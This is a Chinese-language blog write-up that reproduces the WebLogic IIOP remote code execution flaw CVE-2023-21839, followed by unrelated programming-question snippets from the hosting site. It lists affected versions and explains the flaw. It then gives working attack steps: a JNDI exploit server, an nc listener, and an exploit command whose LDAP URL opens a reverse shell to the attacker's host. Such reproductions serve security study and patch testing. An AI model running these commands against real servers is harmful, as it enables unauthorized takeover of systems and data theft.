CVE-2023-21839 Weblogic IIOP RCE复现

2023-11-19

在这里插入图片描述

漏洞描述:

WebLogic是美国Oracle公司出品的一个application server,用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。WebLogic Server是一个基于JAVAEE架构的中间件,将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,提供了Java Enterprise Edition (EE)和Jakarta EE的可靠、成熟和可扩展的实现。
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露

漏洞原理:

通过Weblogic t3/iiop协议支持远程绑定对象到服务端,当远程对象继承自OpaqueReference,lookup查看远程对象时,服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行

CVE-2023-21839 WebLogic Server RCE分析

影响范围:Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

POC

Payload:https://github.com/4ra1n/CVE-2023-21839

(1)无需任何 Java 依赖,构造协议通过socket直接RCE

(2)已解决 IIOP 的 NAT 网络问题(可测试 Docker 与公网目标)

(3)在 Windows/Mac OS/Linux 以及 Weblogic 12/14 中测试通过

(4)请使用 JDK 8u191 以下启动 Weblogic 并自行搭建 JNDI Server

环境搭建

  • Docker环境搭建:链接

    搭建完成后访问:http://IP:7001/console

  • 虚拟机环境搭建

    使用环境为:Windows server2008、jdk1.8u152、weblogic server 12.2.1.3.0

    weblogic环境搭建:https://www.cnblogs.com/cao-lei/p/15101976.html

1.开启jndi监听

JNDI Exploit命令注入工具上传到我们的 VPS 攻击机,开启 jndi 监听

20230308194150-37535482-bda6-1

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.186.139

-i local ip

截屏2023-03-10 16.39.48

使用 nc 监听任意端口

nc -lvvp 7890

截屏2023-03-10 16.40.56

2.编译payload

Payload:https://github.com/4ra1n/CVE-2023-21839

编译payload

# mac/linux
cd cmd
go build -o CVE-2023-21839
# windows
cd cmd
go build -o CVE-2023-21839.exe

从POC代码核心的部分是方法中将通过调用getInitialContext方法创建一个InitialContext对象;使用反射访问和修改ForeignOpaqueReference对象中的私有字段jndiEnvironment和emoteJNDIName,调用InitialContext对象的bind方法,将ForeignOpaqueReference对象绑定到JNDI服务,最后调用InitialContext对象的lookup方法

3.反弹shell

使用命令

./CVE-2023-21839 -ip 192.168.186.138 -port 7001 -ldap ldap://192.168.186.139:1389/Basic/ReverseShell/192.168.186.139/7890

-ip 指向weblogic远程IP
-port 指向7001端口
-ldap 为jndi监听的IP和端口

如果发现 panic 或有其他报错,说明目标不存在漏洞(或关闭了 IIOP 功能)

截屏2023-03-10 16.46.48

nc端口接收到反弹的shell

截屏2023-03-10 16.50.47

截屏2023-03-10 16.47.27

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CVE-2023-21839 Weblogic IIOP RCE复现 的相关文章

  • Jackson Json 将对象反序列化为列表

    我正在使用 Spring 的 Web 服务RestTemplate并反序列化Jackson 在来自服务器的 JSON 响应中 其中一个字段可以是对象或列表 这意味着它可以是 result or result 有没有办法通过对我要反序列化的类
  • 无法从 TemporalAccessor 获取 OffsetDateTime

    当我这样做时 String datum 20130419233512 DateTimeFormatter formatter DateTimeFormatter ofPattern yyyyMMddHHmmss withZone ZoneI
  • 变量作为 bash 数组索引?

    bin bash set x array counter 0 array value 1 array 0 0 0 for number in array do array array counter array value array co
  • GSON:自定义对象反序列化

    好吧 我编辑了这个问题 因为它不够清楚 Edit 2 更新了 JSON 文件 我在 Android 应用程序中使用 GSON 我需要解析来自服务器的 JSON 文件 而且有点太复杂了 我不想让我的对象结构太重 所以我想简化内容 所以我的对象
  • 从继承的受保护 Java 字段创建公共访问器

    我怎样才能完成以下工作 class Foo extends javax swing undo UndoManager increase visibility works for method override def editToBeUnd
  • Java 将字节转换为二进制安全字符串

    我有一些以字节为单位的数据 我想将它们放入Redis中 但是Redis只接受二进制安全字符串 而我的数据有一些二进制非安全字节 那么如何将这些字节转换为二进制安全字符串以便将它们保存到 Redis 中呢 Base64 对我有用 但它使数据更
  • /proc/PID 文件格式

    我想从中检索一些流程信息 proc目录 我的问题如下 中的文件是否有标准格式 proc PID 例如 有这个proc PID status文件与Name t ProcName在第一行 我可以在其他地方用空格代替这个文件吗 t或者类似的东西
  • 在 Java 5 及更高版本中迭代 java.util.Map 的所有键/值对的最简单方法是什么?

    在 Java 5 及更高版本中迭代 java util Map 的所有键 值对的最简单方法是什么 假设K是您的密钥类型 并且V是你的值类型 for Map Entry
  • 将 stdout 作为命令行 util 的文件名传递?

    我正在使用一个命令行实用程序 该实用程序需要传递文件名以将输出写入 例如 foo o output txt 它唯一写入的东西stdout是一条消息 表明它运行成功 我希望能够通过管道传输写入的所有内容output txt到另一个命令行实用程
  • Spring @Value 添加验证小于

    我使用以下属性值注入 我如何向此操作添加小于验证 我的意思是我想设置一个验证user maxpassiveday可以说 财产价值不得低于 100 Value user maxpassiveday int maxpassiveday 使用Sp
  • 将传入字符串的 unicode 表示形式转换为 UTF-8?

    我正在读取一些已经转换为 html 样式 代码的数据 我现在需要将其转换回 UTF 8 字符以供查看 不幸的是我无法使用浏览器查看该字符串 我读过有关 java 中的转换的内容 似乎如果你有一个 uxxxx 字符串 那么编译器会为你转换 然
  • 如何在 Spring Boot 中创建 Apache POI Excel 视图配置

    当我想使用 Spring Boot Web 将数据导出到 Excel 时遇到问题 我使用 Thymeleaf 作为模板引擎 由 Spring Boot 自动配置 但是当我在附加配置中添加 XmlViewResolver 时 由 XmlVie
  • JSP 作为电子邮件模板

    有没有办法发送 MIME 电子邮件 其中电子邮件正文源自 JSP 我需要使用 Javamail 发送一封电子邮件 其中包含一个表格 我认为如果我可以使用 JSP 来完成所有格式设置和布局 将会很方便 在这个线程中 Java 电子邮件模板的建
  • 日志记录在 Android 设备上实际上有什么作用?

    我一直在 Android 示例中看到这样的代码 try catch Exception e Log e Error e getMessage 什么是Log e实际上在物理设备上做什么 它进入系统日志 开发人员可以通过 SDK 工具访问该日志
  • Android - 保持用户登录状态

    我正在尝试使用 PHP 和 MySQLi for Android 进行登录 我不明白的是如何保持用户登录状态 我看到一个简单的教程 其中有人使用 SQLite 来保护信息 但我不知道这是否真的安全 如何保存用户信息以保持用户登录状态 谢谢
  • 根据 Java 环境变量中的值创建使用 @JsonIgnore 的自定义注释

    我需要创建一个新的注释 用于在环境变量设置时忽略输出 JSON 文件中的字段var false 我尝试使用JsonAnnotationIntrospector 但无法获得预期的输出 public class Vehicle String v
  • javafx中的stackpane和root有什么区别?

    我正在练习javafx做饼图 以下是开发饼图的代码 如果我这样做Group并与StackPane 我发现输出没有区别 我已经评论了组部分 只是徘徊两者之间的区别 import javafx application Application i
  • 对 Java 协议缓冲区对象进行一些小更改

    我想在 Java 协议缓冲区对象树的深处进行一个小更改 我可以使用 getBuilder 方法来创建一个新对象 该新对象是旧对象的克隆并进行一些更改 当深入完成此操作时 代码会变得丑陋 Quux Builder quuxBuilder fo
  • 按字母顺序对对象的 ArrayList 进行排序

    我必须创建一个方法来排序数组列表根据电子邮件按字母顺序排列对象 然后打印排序后的数组 我在排序时遇到麻烦的部分 我已经研究过并尝试使用Collections sort vehiclearray 但这对我不起作用 我是因为我需要一个叫做比较器
  • 在Java的System.out中以表格格式输出

    我正在从数据库获取结果 并希望将数据作为 Java 标准输出中的表输出 我尝试过使用 t 但我想要的第一列的长度变化很大 有没有办法将其显示在类似输出的漂亮表格中 Use System out format http java sun co

随机推荐

  • SVM支持向量机学习——使用MATLAB实现基于SVM的数据二分类

    SVM支持向量机学习 使用MATLAB实现基于SVM的数据二分类 支持向量机 Support Vector Machine SVM 是一种广泛应用于分类 回归和异常检测等领域的算法 它的优点在于具有较高的准确性 鲁棒性和可扩展性 在本文中
  • Hyper-v 虚拟机挂载物理硬盘的方法-Windows Server 2022/2025

    起因 之前我写过一篇介绍在KVM虚拟机体系下 如何直接挂载物理硬盘和物理分区的方法 KVM虚拟机直接挂栽物理硬盘分区的方法 给libvirt虚机挂载磁盘 lggirls的博客 CSDN博客 近期帮助一个朋友搭建局域网 其中有OA系统要用到w
  • Get to know yosys & yosys-abc

    In this blog I m going to give some instructions about yosys yosys abc in Linux Environment yosys 0 7 gcc 5 4 0 ubuntu 1
  • verilog 基本语法 {}大括号的使用

    的基本使用是两个 一个是拼接 一个是复制 下面列举了几种常见用法 基本用法 表示拼接 第一位 第二位 表示复制 4 a 等同于 a a a a 所以 13 1 b1 就表示将13个1拼接起来 即13 b1111111111111 拼接语法详
  • 学习总结——按下按键灯亮,再次按下按键,灯灭

    按键控制灯的亮灭 1 主要实现按键控制灯的亮灭 按键按下 灯亮 再次按下 灯灭 主要对实现的逻辑进行控制 逻辑清晰 很简单 实现的方法有两种 方法1 将按键按下的值赋值给一个变量 变量除以2的值的是基数或者偶数来确定灯亮还是灯灭 程序中设置
  • 堆栈 对比

    https www cnblogs com guoxiaoyan p 8664150 html
  • STL — Set/Multiset容器

    1 1 Set容器基本概念 Set的特性是 所有元素都会根据元素的键值自动被排序 Set的元素不像map那样可以同时拥有实值和键值 set的元素即是键值又是实值 set不允许两个元素有相同的键值 我们可以通过set的迭代器改变set元素的值
  • POI解析word\pdf中表格

  • Windows10下SlowFast环境安装和运行

    SlowFast安装详解 第一步 下载官方源码 第二步 我搭建的环境配置 第二步 安装其他包以及出现的问题 第三步 构建SlowFast 第四部 下载权重和标签 第五步 更改参数 第六步 当然是运行啦 第一步 下载官方源码 github代码
  • Retrofit2.0使用详解

    简介 Retrofit是由Square公司提供的开源产品 为Android平台的应用提供一个类型安全的REST客户端 其实质上是对OkHttp的封装 使用面向接口的方式进行网络请求 利用动态生成的代理类封装了网络接口请求的底层 将REST
  • Windows程序员必须掌握的计算机编码问题——海明码(通俗易懂)

    我是荔园微风 作为一名在IT界整整25年的老兵 今天总结一下计算机中的编码问题 来看第二部分 海明码 很多初学者一看到海明码就郁闷 因为课本上关于海明码的描述实在是太难懂了 那就跟随我一起来搞懂海明码 我用最简单最好懂的方式描述 我不会使用
  • 基于STM32F4单片机对步进电机的控制(有代码)

    步进电机简介 步进电机是将电脉冲控制信号转变为角位移或线位移的一种常用的数字控制执行元件 又称为脉冲电机 在驱动电源的作用下 步进电机受到脉冲的控制 其转子的角位移量和速度严格地与输入脉冲的数量和脉冲频率成正比 步进电机每接收一个电脉冲 转
  • R语言 write.xlsx() 写入同一excel,及同一sheet注意

    write xlsx x file sheetName Sheet1 col names TRUE row names TRUE append FALSE showNA TRUE 1 想要将data1写da xlsx的sheet1 data
  • spring boot 配合element ui vue实现表格的批量删除(前后端详细教学,简单易懂,有手就行)

    目录 一 前言 二 前端代码 2 1 element ui组件代码 2 2删除按钮 2 3 data 2 4 methods 三 后端代码 一 前言 研究了其他人的博客 找到了一篇有含金量的 进行了部分改写实现前后端分离 参考博主为小白Ra
  • 【下降算法】最速下降法、Newton法、共轭梯度法

    文章目录 1 一维搜索 2 最速下降法 最速下降法特征 最速下降法的优缺点 3 Newton法 算法基本思想 牛顿法和梯度下降法的效率对比 4 共轭梯度法 1 一维搜索 最优化问题一般选择某一组变量 然后在满足一定的限制条件下 求出使目标值
  • Servlet 和 Cookie-Session 学习笔记(基础)

    简单来说 是运行在服务器端的 Java 程序 它作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层 用处 使用 Servlet 您可以收集来自网页表单的用户输入 呈现来自数据库或者其他
  • PyCrypto,PyCryptodome, Python 调用密码学算法AES

    Crypto PyCrypto PyCryptodomeCrypto PyCrypto 参考网址附上 今天我真的也是很无奈了 想要做一个密码学的作业 需要用到pycrypto的包 但是安装完之后不能正常调用 就找到了PyCryptodome
  • fetch 服务器不响应,Fetch 常见的使用问题

    fetch的浏览器兼容 fetch默认不携带cookie fetch发送请求默认是不发送cookie的 不管是同域还是跨域 需要设置 fetch url credentials include 可以配置其credentials项 其有3个值
  • CAN FD基础

    CAN FD基础 一 CAN FD与CAN 2 0的区别 1 CAN FD的优势 该协议能够支持更高的速率 可以更快的刷写ECU 在单个数据帧内传送率可达64字节 避免了经常发生的数据分拆传输的状况 对汽车行业而言 CAN FD协议显得非常
  • CVE-2023-21839 Weblogic IIOP RCE复现

    漏洞描述 WebLogic是美国Oracle公司出品的一个application server 用于本地和云端开发 集成 部署和管理大型分布式Web应用 网络应用和数据库应用的Java应用服务器 WebLogic Server是一个基于JA